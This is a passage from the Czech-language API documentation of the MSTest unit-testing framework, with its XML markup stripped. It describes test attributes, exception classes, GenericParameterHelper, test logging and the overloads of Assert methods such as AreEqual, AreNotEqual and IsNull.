Získá methodInfo pro testovací metodu. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Vyvolá testovací metodu. - - - Argumenty pro testovací metodu (např. pro testování řízené daty) - - - Výsledek vyvolání testovací metody - - - This call handles asynchronous test methods as well. - - - - - Získá všechny atributy testovací metody. - - - Jestli je platný atribut definovaný v nadřazené třídě - - - Všechny atributy - - - - - Získá atribut konkrétního typu. - - System.Attribute type. - - Jestli je platný atribut definovaný v nadřazené třídě - - - Atributy zadaného typu - - - - - Pomocná služba - - - - - Kontrolní parametr není null. - - - Parametr - - - Název parametru - - - Zpráva - - Throws argument null exception when parameter is null. - - - - Ověřovací parametr není null nebo prázdný. - - - Parametr - - - Název parametru - - - Zpráva - - Throws ArgumentException when parameter is null. - - - - Výčet způsobů přístupu k datovým řádkům při testování řízeném daty - - - - - Řádky se vrací v sekvenčním pořadí. - - - - - Řádky se vrátí v náhodném pořadí. - - - - - Atribut pro definování vložených dat pro testovací metodu - - - - - Inicializuje novou instanci třídy . - - Datový objekt - - - - Inicializuje novou instanci třídy , která přijímá pole argumentů. - - Datový objekt - Další data - - - - Získá data pro volání testovací metody. - - - - - Získá nebo nastaví zobrazovaný název ve výsledcích testu pro přizpůsobení. - - - - - Výjimka s neprůkazným kontrolním výrazem - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Inicializuje novou instanci třídy . - - - - - Třída InternalTestFailureException. Používá se pro označení interní chyby testovacího případu. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializuje novou instanci třídy . - - Zpráva o výjimce - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva o výjimce - - - - Inicializuje novou instanci třídy . - - - - - Atribut, podle kterého se má očekávat výjimka zadaného typu - - - - - Inicializuje novou instanci třídy s očekávaným typem. - - Typ očekávané výjimky - - - - Inicializuje novou instanci třídy - s očekávaným typem a zprávou, která se zahrne v případě, že test nevyvolá žádnou výjimku. - - Typ očekávané výjimky - - Zpráva, která má být zahrnuta do výsledku testu, pokud se test nezdaří z důvodu nevyvolání výjimky - - - - - Načte hodnotu, která označuje typ očekávané výjimky. - - - - - Získá nebo načte hodnotu, která označuje, jestli je možné typy odvozené od typu očekávané výjimky - považovat za očekávané. - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Ověří, jestli se očekává typ výjimky vyvolané testem jednotek. - - Výjimka vyvolaná testem jednotek - - - - Základní třída pro atributy, které určují, že se má očekávat výjimka testu jednotek - - - - - Inicializuje novou instanci třídy s výchozí zprávou no-exception. - - - - - Inicializuje novou instanci třídy se zprávou no-exception. - - - Zprávy, které mají být zahrnuty ve výsledku testu, pokud se test nezdaří z důvodu nevyvolání - výjimky - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Získá zprávu, které se má zahrnout do výsledku testu, pokud tento test selže v důsledku výjimky. - - - - - Získá výchozí zprávu no-exception. - - Název typu atributu ExpectedException - Výchozí zpráva neobsahující výjimku - - - - Určuje, jestli se daná výjimka očekává. Pokud metoda skončí, rozumí se tomu tak, - že se výjimka očekávala. Pokud metoda vyvolá výjimku, rozumí se tím, - že se výjimka neočekávala a součástí výsledku testu - je zpráva vyvolané výjimky. Pomocí třídy je možné si usnadnit - práci. Pokud se použije a kontrolní výraz selže, - výsledek testu se nastaví na Neprůkazný. - - Výjimka vyvolaná testem jednotek - - - - Znovu vyvolá výjimku, pokud se jedná o atribut AssertFailedException nebo AssertInconclusiveException. - - Výjimka, která se má znovu vyvolat, pokud se jedná výjimku kontrolního výrazu - - - - Tato třída je koncipovaná tak, aby uživatelům pomáhala při testování jednotek typů, které využívá obecné typy. - Atribut GenericParameterHelper řeší některá běžná omezení obecných typů, - jako jsou: - 1. veřejný výchozí konstruktor - 2. implementace společného rozhraní: IComparable, IEnumerable - - - - - Inicializuje novou instanci třídy , která - splňuje omezení newable v obecných typech jazyka C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializuje novou instanci třídy , která - inicializuje vlastnost Data na hodnotu zadanou uživatelem. - - Libovolné celé číslo - - - - Získá nebo nastaví data. - - - - - Provede porovnání hodnot pro dva objekty GenericParameterHelper. - - objekt, se kterým chcete porovnávat - pravda, pokud má objekt stejnou hodnotu jako „tento“ objekt GenericParameterHelper. - V opačném případě nepravda. - - - - Vrátí pro tento objekt hodnotu hash. - - Kód hash - - - - Porovná data daných dvou objektů . - - Objekt pro porovnání - - Číslo se znaménkem označující relativní hodnoty této instance a hodnoty - - - Thrown when the object passed in is not an instance of . - - - - - Vrátí objekt IEnumerator, jehož délka je odvozená od - vlastnosti dat. - - Objekt IEnumerator - - - - Vrátí objekt GenericParameterHelper, který se rovná - aktuálnímu objektu. - - Klonovaný objekt - - - - Umožňuje uživatelům protokolovat/zapisovat trasování z testů jednotek pro účely diagnostiky. - - - - - Obslužná rutina pro LogMessage - - Zpráva, kterou chcete zaprotokolovat - - - - Událost pro naslouchání. Dojde k ní, když autor testů jednotek napíše zprávu. - Určeno především pro použití adaptérem. - - - - - Rozhraní API pro volání zpráv protokolu zapisovačem testu - - Formátovací řetězec se zástupnými symboly - Parametry pro zástupné symboly - - - - Atribut TestCategory, používá se pro zadání kategorie testu jednotek. - - - - - Inicializuje novou instanci třídy a zavede pro daný test kategorii. - - - Kategorie testu - - - - - Získá kategorie testu, které se nastavily pro test. - - - - - Základní třída atributu Category - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializuje novou instanci třídy . - Tuto kategorii zavede pro daný test. Řetězce vrácené z TestCategories - se použijí spolu s příkazem /category k filtrování testů. - - - - - Získá kategorii testu, která se nastavila pro test. - - - - - Třída AssertFailedException. Používá se pro značení chyby testovacího případu. - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Inicializuje novou instanci třídy . - - - - - Kolekce pomocných tříd pro testování nejrůznějších podmínek v rámci - testů jednotek. Pokud se testovaná podmínka nesplní, vyvolá se - výjimka. - - - - - Získá instanci typu singleton funkce Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Thrown if is false. - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je nepravda. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is false. - - - - - Testuje, jestli je zadaná podmínka pravdivá, a vyvolá výjimku, - pokud nepravdivá není. - - - Podmínka, která má být podle testu pravdivá. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je nepravda. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is false. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Thrown if is true. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je pravda. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is true. - - - - - Testuje, jestli zadaná podmínka není nepravdivá, a vyvolá výjimku, - pokud pravdivá je. - - - Podmínka, která podle testu má být nepravdivá - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je pravda. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is true. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a vyvolá výjimku, - pokud tomu tak není. - - - Objekt, který má podle testu být Null - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - není Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Thrown if is null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je Null. Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is null. - - - - - Testuje, jestli je zadaný objekt null, a pokud je, - vyvolá výjimku. - - - Objekt, u kterého test očekává, že nebude Null. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - je Null. Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is null. - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli oba zadané objekty odkazují na stejný objekt, - a vyvolá výjimku, pokud obě zadané hodnoty na stejný objekt neodkazují. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if does not refer to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli zadané objekty odkazují na různé objekty, - a vyvolá výjimku, pokud tyto dvě zadané hodnoty odkazují na stejný objekt. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if refers to the same object - as . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané hodnoty stejné, a vyvolá výjimku, - pokud tyto dvě hodnoty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou dvě logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, kterou test očekává. - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot a vyvolá výjimku, - pokud si tyto dvě hodnoty jsou rovny. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - The type of values to compare. - - - První hodnota, kterou chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá hodnota, kterou chcete porovnat. Jedná se o hodnotu vytvořenou testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané objekty stejné, a vyvolá výjimku, - pokud oba objekty stejné nejsou. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o objekt, který test očekává. - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných objektů a vyvolá výjimku, - pokud jsou oba objekty stejné. Rozdílné číselné typy se považují - za nestejné, i když jsou logické hodnoty stejné. 42L se nerovná 42. - - - První objekt, který chcete porovnat. Jedná se o hodnotu, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý objekt, který chcete porovnat. Jedná se o objekt vytvořený testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot float a vyvolá výjimku, - pokud nejsou stejné. - - - První plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku, kterou test očekává. - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot float a vyvolá výjimku, - pokud jsou stejné. - - - První desetinná čárka, kterou chcete porovnat. Toto je desetinná čárka, která se podle testu nemá - shodovat s aktuální hodnotou . - - - Druhá plovoucí desetinná čárka, kterou chcete porovnat. Jedná se o plovoucí desetinnou čárku vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Thrown if is not equal to - . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje rovnost zadaných hodnot double a vyvolá výjimku, - pokud se neshodují. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, kterou test očekává. - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o více než . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se liší od o více než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných hodnot double a vyvolá výjimku, - pokud jsou si rovny. - - - První dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost, která se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhá dvojitá přesnost, kterou chcete porovnat. Jedná se o dvojitou přesnost vytvořenou testovaným kódem. - - - Požadovaná přesnost. Výjimka bude vyvolána pouze tehdy, pokud - se liší od - o maximálně . - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná nebo se liší o méně než - . Zpráva je zobrazena ve výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. Pro porovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to . - - - - - Testuje, jestli jsou zadané řetězce stejné, a vyvolá výjimku, - pokud stejné nejsou. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který test očekává. - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Objekt CultureInfo, který poskytuje informace o porovnání jazykových verzí. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných řetězců a vyvolá výjimku, - pokud jsou stejné. Pro srovnání se používá neutrální jazyková verze. - - - První řetězec, který chcete porovnat. Jedná se o řetězec, který se podle testu nemá - shodovat se skutečnou hodnotou . - - - Druhý řetězec, který se má porovnat. Jedná se o řetězec vytvořený testovaným kódem. - - - Logická hodnota označující porovnání s rozlišováním velkých a malých písmen nebo bez jejich rozlišování. (Hodnota pravda - označuje porovnání bez rozlišování velkých a malých písmen.) - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - 